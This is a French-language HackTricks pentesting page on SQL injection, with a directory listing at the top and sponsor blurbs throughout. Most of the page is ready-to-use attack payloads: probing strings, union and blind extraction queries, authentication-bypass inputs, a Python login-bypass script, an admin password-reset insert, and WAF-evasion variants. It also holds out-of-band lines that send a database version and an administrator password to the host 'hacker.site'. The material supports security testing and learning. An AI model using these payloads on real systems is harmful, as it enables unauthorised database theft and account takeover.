hacktricks/pentesting-web/sql-injection
2024-09-23 23:33:08 +00:00
..
mysql-injection Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:53 +00:00
postgresql-injection Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat 2024-09-23 23:33:08 +00:00
sqlmap Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq 2024-09-08 10:52:01 +00:00
cypher-injection-neo4j.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00
ms-access-sql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:53 +00:00
mssql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:53 +00:00
oracle-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:53 +00:00
README.md Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq 2024-09-08 10:52:01 +00:00
sqlmap.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:53 +00:00

SQL Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

​​​​RootedCON est l'Ă©vĂ©nement de cybersĂ©curitĂ© le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir les connaissances techniques, ce congrĂšs est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersĂ©curitĂ© dans chaque discipline.

{% embed url="https://www.rootedcon.com/" %}

Qu'est-ce que l'injection SQL ?

Une injection SQL est une faille de sĂ©curitĂ© qui permet aux attaquants de interfĂ©rer avec les requĂȘtes de base de donnĂ©es d'une application. Cette vulnĂ©rabilitĂ© peut permettre aux attaquants de voir, modifier ou supprimer des donnĂ©es auxquelles ils ne devraient pas avoir accĂšs, y compris des informations d'autres utilisateurs ou toute donnĂ©e Ă  laquelle l'application peut accĂ©der. De telles actions peuvent entraĂźner des modifications permanentes de la fonctionnalitĂ© ou du contenu de l'application, voire compromettre le serveur ou provoquer un dĂ©ni de service.

Détection des points d'entrée

Lorsqu'un site semble ĂȘtre vulnĂ©rable Ă  l'injection SQL (SQLi) en raison de rĂ©ponses serveur inhabituelles aux entrĂ©es liĂ©es Ă  SQLi, la premiĂšre Ă©tape est de comprendre comment injecter des donnĂ©es dans la requĂȘte sans la perturber. Cela nĂ©cessite d'identifier la mĂ©thode pour s'Ă©chapper du contexte actuel de maniĂšre efficace.
Voici quelques exemples utiles :

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Alors, vous devez savoir comment corriger la requĂȘte afin qu'il n'y ait pas d'erreurs. Pour corriger la requĂȘte, vous pouvez entrer des donnĂ©es afin que la requĂȘte prĂ©cĂ©dente accepte les nouvelles donnĂ©es, ou vous pouvez simplement entrer vos donnĂ©es et ajouter un symbole de commentaire Ă  la fin.

Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repĂ©rer des diffĂ©rences lorsque la requĂȘte fonctionne et quand ce n'est pas le cas, cette phase sera plus facile.

Commentaires

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmation avec des opérations logiques

Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une opération logique et à observer les résultats attendus. Par exemple, un paramÚtre GET tel que ?username=Peter produisant un contenu identique lorsqu'il est modifié en ?username=Peter' or '1'='1 indique une vulnérabilité d'injection SQL.

De mĂȘme, l'application d'opĂ©rations mathĂ©matiques sert de technique de confirmation efficace. Par exemple, si l'accĂšs Ă  ?id=1 et ?id=2-1 produit le mĂȘme rĂ©sultat, cela indique une injection SQL.

Exemples démontrant la confirmation par opération logique :

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Cette liste de mots a été créée pour essayer de confirmer les SQLinjections de la maniÚre proposée :

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

Confirmation par le temps

Dans certains cas, vous ne remarquerez aucun changement sur la page que vous testez. Par conséquent, une bonne façon de découvrir les SQL injections aveugles est de faire en sorte que la base de données effectue des actions qui auront un impact sur le temps que la page met à charger.
Par consĂ©quent, nous allons concatĂ©ner dans la requĂȘte SQL une opĂ©ration qui prendra beaucoup de temps Ă  complĂ©ter :

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Dans certains cas, les fonctions sleep ne seront pas autorisĂ©es. Ensuite, au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requĂȘte effectue des opĂ©rations complexes qui prendront plusieurs secondes. Des exemples de ces techniques seront commentĂ©s sĂ©parĂ©ment sur chaque technologie (le cas Ă©chĂ©ant).

Identification du Back-end

La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pourriez utiliser les fonctions sleep de la section précédente ou celles-ci (tableau de payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Aussi, si vous avez accĂšs Ă  la sortie de la requĂȘte, vous pourriez faire en sorte qu'elle imprime la version de la base de donnĂ©es.

{% hint style="info" %} Dans la suite, nous allons discuter de différentes méthodes pour exploiter différents types d'injection SQL. Nous utiliserons MySQL comme exemple. {% endhint %}

Identification avec PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Exploitation basée sur Union

DĂ©tection du nombre de colonnes

Si vous pouvez voir la sortie de la requĂȘte, c'est le meilleur moyen de l'exploiter.
Tout d'abord, nous devons dĂ©couvrir le nombre de colonnes que la requĂȘte initiale renvoie. Cela est dĂ» au fait que les deux requĂȘtes doivent renvoyer le mĂȘme nombre de colonnes.
Deux méthodes sont généralement utilisées à cet effet :

Order/Group by

Pour dĂ©terminer le nombre de colonnes dans une requĂȘte, ajustez progressivement le nombre utilisĂ© dans les clauses ORDER BY ou GROUP BY jusqu'Ă  ce qu'une rĂ©ponse fausse soit reçue. MalgrĂ© les fonctionnalitĂ©s distinctes de GROUP BY et ORDER BY dans SQL, les deux peuvent ĂȘtre utilisĂ©s de maniĂšre identique pour dĂ©terminer le nombre de colonnes de la requĂȘte.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

SĂ©lectionnez de plus en plus de valeurs nulles jusqu'Ă  ce que la requĂȘte soit correcte :

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Vous devriez utiliser des valeurs null car dans certains cas, le type des colonnes des deux cĂŽtĂ©s de la requĂȘte doit ĂȘtre le mĂȘme et null est valide dans tous les cas.

Extraire les noms de bases de données, les noms de tables et les noms de colonnes

Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms des colonnes de la table :

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Il existe une mĂ©thode diffĂ©rente pour dĂ©couvrir ces donnĂ©es sur chaque base de donnĂ©es diffĂ©rente, mais la mĂ©thodologie reste toujours la mĂȘme.

Exploiting Hidden Union Based

Lorsque la sortie d'une requĂȘte est visible, mais qu'une injection basĂ©e sur un union semble inatteignable, cela signifie la prĂ©sence d'une injection basĂ©e sur un union cachĂ©. Ce scĂ©nario conduit souvent Ă  une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basĂ©e sur un union, il est nĂ©cessaire de discerner la requĂȘte d'exĂ©cution sur le backend.

Cela peut ĂȘtre accompli grĂące Ă  l'utilisation de techniques d'injection aveugle ainsi qu'aux tables par dĂ©faut spĂ©cifiques Ă  votre SystĂšme de Gestion de Base de DonnĂ©es (SGBD) cible. Pour comprendre ces tables par dĂ©faut, il est conseillĂ© de consulter la documentation du SGBD cible.

Une fois la requĂȘte extraite, il est nĂ©cessaire d'adapter votre charge utile pour fermer en toute sĂ©curitĂ© la requĂȘte originale. Ensuite, une requĂȘte union est ajoutĂ©e Ă  votre charge utile, facilitant l'exploitation de l'injection basĂ©e sur un union nouvellement accessible.

Pour des informations plus complĂštes, consultez l'article complet disponible Ă  Healing Blind Injections.

Exploiting Error based

Si pour une raison quelconque vous ne pouvez pas voir la sortie de la requĂȘte mais que vous pouvez voir les messages d'erreur, vous pouvez utiliser ces messages d'erreur pour ex-filtrer des donnĂ©es de la base de donnĂ©es.
En suivant un flux similaire à celui de l'exploitation basée sur un union, vous pourriez réussir à vider la base de données.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiter le Blind SQLi

Dans ce cas, vous ne pouvez pas voir les rĂ©sultats de la requĂȘte ou les erreurs, mais vous pouvez distinguer quand la requĂȘte renvoie une rĂ©ponse vraie ou fausse car il y a diffĂ©rents contenus sur la page.
Dans ce cas, vous pouvez abuser de ce comportement pour extraire la base de données caractÚre par caractÚre :

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiter l'Error Blind SQLi

C'est le mĂȘme cas que prĂ©cĂ©demment mais au lieu de distinguer entre une rĂ©ponse vraie/faux de la requĂȘte, vous pouvez distinguer entre une erreur dans la requĂȘte SQL ou non (peut-ĂȘtre parce que le serveur HTTP plante). Par consĂ©quent, dans ce cas, vous pouvez forcer une SQLerror chaque fois que vous devinez correctement le caractĂšre :

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiter les SQLi Basés sur le Temps

Dans ce cas, il n'y a pas de moyen de distinguer la rĂ©ponse de la requĂȘte en fonction du contexte de la page. Mais, vous pouvez faire en sorte que la page prenne plus de temps Ă  charger si le caractĂšre devinĂ© est correct. Nous avons dĂ©jĂ  vu cette technique utilisĂ©e auparavant pour confirmer une vulnĂ©rabilitĂ© SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

RequĂȘtes EmpilĂ©es

Vous pouvez utiliser des requĂȘtes empilĂ©es pour exĂ©cuter plusieurs requĂȘtes Ă  la suite. Notez que bien que les requĂȘtes suivantes soient exĂ©cutĂ©es, les rĂ©sultats ne sont pas renvoyĂ©s Ă  l'application. Par consĂ©quent, cette technique est principalement utile en relation avec des vulnĂ©rabilitĂ©s aveugles oĂč vous pouvez utiliser une seconde requĂȘte pour dĂ©clencher une recherche DNS, une erreur conditionnelle ou un dĂ©lai.

Oracle ne prend pas en charge les requĂȘtes empilĂ©es. MySQL, Microsoft et PostgreSQL les prennent en charge : QUERY-1-HERE; QUERY-2-HERE

Exploitation Hors Bande

Si aucune autre mĂ©thode d'exploitation n'a fonctionnĂ©, vous pouvez essayer de faire en sorte que la base de donnĂ©es exfiltre les informations vers un hĂŽte externe contrĂŽlĂ© par vous. Par exemple, via des requĂȘtes DNS :

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltration de données hors bande via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Exploitation Automatisée

Consultez la SQLMap Cheatsheet pour exploiter une vulnérabilité SQLi avec sqlmap.

Informations spécifiques à la technologie

Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité d'injection SQL. Trouvez quelques astuces supplémentaires dépendantes de la technologie de base de données dans ce livre :

Ou vous trouverez beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON est l'Ă©vĂ©nement de cybersĂ©curitĂ© le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir les connaissances techniques, ce congrĂšs est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersĂ©curitĂ© dans chaque discipline.

{% embed url="https://www.rootedcon.com/" %}

Contournement d'authentification

Liste à essayer pour contourner la fonctionnalité de connexion :

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Contournement d'authentification par hachage brut

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Cette requĂȘte met en Ă©vidence une vulnĂ©rabilitĂ© lorsque MD5 est utilisĂ© avec true pour la sortie brute dans les vĂ©rifications d'authentification, rendant le systĂšme susceptible Ă  l'injection SQL. Les attaquants peuvent exploiter cela en crĂ©ant des entrĂ©es qui, lorsqu'elles sont hachĂ©es, produisent des parties de commandes SQL inattendues, conduisant Ă  un accĂšs non autorisĂ©.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

Contournement de l'authentification par hachage injecté

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Liste recommandée:

Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours : Pass1234.
(Ces payloads sont également inclus dans la grande liste mentionnée au début de cette section)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

Contournement d'authentification GBK

SI ' est Ă©chappĂ©, vous pouvez utiliser %A8%27, et lorsque ' est Ă©chappĂ©, il sera crĂ©Ă© : 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Script Python :

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Injection polyglotte (multicontexte)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modifier le mot de passe d'un objet/utilisateur existant

Pour ce faire, vous devriez essayer de créer un nouvel objet nommé comme le "objet maßtre" (probablement admin dans le cas des utilisateurs) en modifiant quelque chose :

  • CrĂ©er un utilisateur nommĂ© : AdMIn (lettres majuscules et minuscules)
  • CrĂ©er un utilisateur nommĂ© : admin=
  • SQL Truncation Attack (lorsqu'il y a une sorte de limite de longueur dans le nom d'utilisateur ou l'email) --> CrĂ©er un utilisateur avec le nom : admin [beaucoup d'espaces] a

SQL Truncation Attack

Si la base de données est vulnérable et que le nombre max de caractÚres pour le nom d'utilisateur est par exemple 30 et que vous souhaitez usurper l'identité de l'utilisateur admin, essayez de créer un nom d'utilisateur appelé : "admin [30 espaces] a" et n'importe quel mot de passe.

La base de données va vérifier si le nom d'utilisateur introduit existe dans la base de données. Si non, elle va couper le nom d'utilisateur au nombre max de caractÚres autorisés (dans ce cas à : "admin [25 espaces]") et elle va automatiquement supprimer tous les espaces à la fin en mettant à jour dans la base de données l'utilisateur "admin" avec le nouveau mot de passe (une erreur pourrait apparaßtre mais cela ne signifie pas que cela n'a pas fonctionné).

Plus d'infos : https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les derniÚres installations de MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, tenter d'insérer une chaßne qui est plus longue que la longueur d'un champ entraßnera une erreur, et l'insertion échouera. Pour plus d'informations à ce sujet, consultez : https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

Vérification basée sur le temps d'insertion MySQL

Ajoutez autant de ','','' que vous le jugez nécessaire pour sortir de l'instruction VALUES. Si un délai est exécuté, vous avez une SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La clause ON DUPLICATE KEY UPDATE dans MySQL est utilisĂ©e pour spĂ©cifier les actions que la base de donnĂ©es doit entreprendre lorsqu'une tentative est faite d'insĂ©rer une ligne qui entraĂźnerait une valeur dupliquĂ©e dans un index UNIQUE ou une CLÉ PRIMAIRE. L'exemple suivant dĂ©montre comment cette fonctionnalitĂ© peut ĂȘtre exploitĂ©e pour modifier le mot de passe d'un compte administrateur :

Exemple de charge utile d'injection :

Une charge utile d'injection pourrait ĂȘtre conçue comme suit, oĂč deux lignes sont tentĂ©es d'ĂȘtre insĂ©rĂ©es dans la table users. La premiĂšre ligne est un leurre, et la deuxiĂšme ligne cible l'email d'un administrateur existant dans l'intention de mettre Ă  jour le mot de passe :

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Voici comment cela fonctionne :

  • La requĂȘte tente d'insĂ©rer deux lignes : une pour generic_user@example.com et une autre pour admin_generic@example.com.
  • Si la ligne pour admin_generic@example.com existe dĂ©jĂ , la clause ON DUPLICATE KEY UPDATE se dĂ©clenche, demandant Ă  MySQL de mettre Ă  jour le champ password de la ligne existante Ă  "bcrypt_hash_of_newpassword".
  • Par consĂ©quent, l'authentification peut ensuite ĂȘtre tentĂ©e en utilisant admin_generic@example.com avec le mot de passe correspondant au hash bcrypt ("bcrypt_hash_of_newpassword" reprĂ©sente le hash bcrypt du nouveau mot de passe, qui doit ĂȘtre remplacĂ© par le hash rĂ©el du mot de passe souhaitĂ©).

Extraire des informations

CrĂ©ation de 2 comptes en mĂȘme temps

Lors de la tentative de création d'un nouvel utilisateur, un nom d'utilisateur, un mot de passe et un e-mail sont nécessaires :

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Utilisation de décimal ou hexadécimal

Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez besoin de commenter quoi que ce soit.

Utilisation de hex2dec et substr :

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Pour obtenir le texte, vous pouvez utiliser :

__import__('binascii').unhexlify(hex(215573607263)[2:])

Utiliser hex et replace (et substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON est l'Ă©vĂ©nement de cybersĂ©curitĂ© le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir les connaissances techniques, ce congrĂšs est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersĂ©curitĂ© dans chaque discipline.

{% embed url="https://www.rootedcon.com/" %}

Injection SQL routée

L'injection SQL routĂ©e est une situation oĂč la requĂȘte injectable n'est pas celle qui donne un rĂ©sultat, mais la sortie de la requĂȘte injectable va Ă  la requĂȘte qui donne un rĂ©sultat. (From Paper)

Exemple :

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Contournement WAF

Contournements initiaux ici

Contournement sans espaces

Pas d'espace (%20) - contournement utilisant des alternatives d'espacement

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Aucun espace - contournement en utilisant des commentaires

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - contourner en utilisant des parenthĂšses

?id=(1)and(1)=(1)--

No commas bypass

Pas de virgules - contournement utilisant OFFSET, FROM et JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypasses génériques

Liste noire utilisant des mots-clés - contournement en utilisant des majuscules/minuscules

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist utilisant des mots-clés insensible à la casse - contournement en utilisant un opérateur équivalent

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Contournement WAF par notation scientifique

Vous pouvez trouver une explication plus approfondie de cette astuce dans le blog gosecure.
Fondamentalement, vous pouvez utiliser la notation scientifique de maniĂšre inattendue pour contourner le WAF :

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Contourner la restriction des noms de colonnes

Tout d'abord, notez que si la requĂȘte originale et la table dont vous souhaitez extraire le drapeau ont le mĂȘme nombre de colonnes, vous pouvez simplement faire : 0 UNION SELECT * FROM flag

Il est possible d'accĂ©der Ă  la troisiĂšme colonne d'une table sans utiliser son nom en utilisant une requĂȘte comme suit : SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, donc dans une sqlinjection, cela ressemblerait Ă  :

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ou en utilisant un bypass de virgule :

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ce truc a été pris de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Outils de suggestion de contournement WAF

{% embed url="https://github.com/m4ll0k/Atlas" %}

Autres Guides

Liste de DĂ©tection de Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

​

​​​​​​​RootedCON est l'Ă©vĂ©nement de cybersĂ©curitĂ© le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir les connaissances techniques, ce congrĂšs est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersĂ©curitĂ© dans chaque discipline.

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}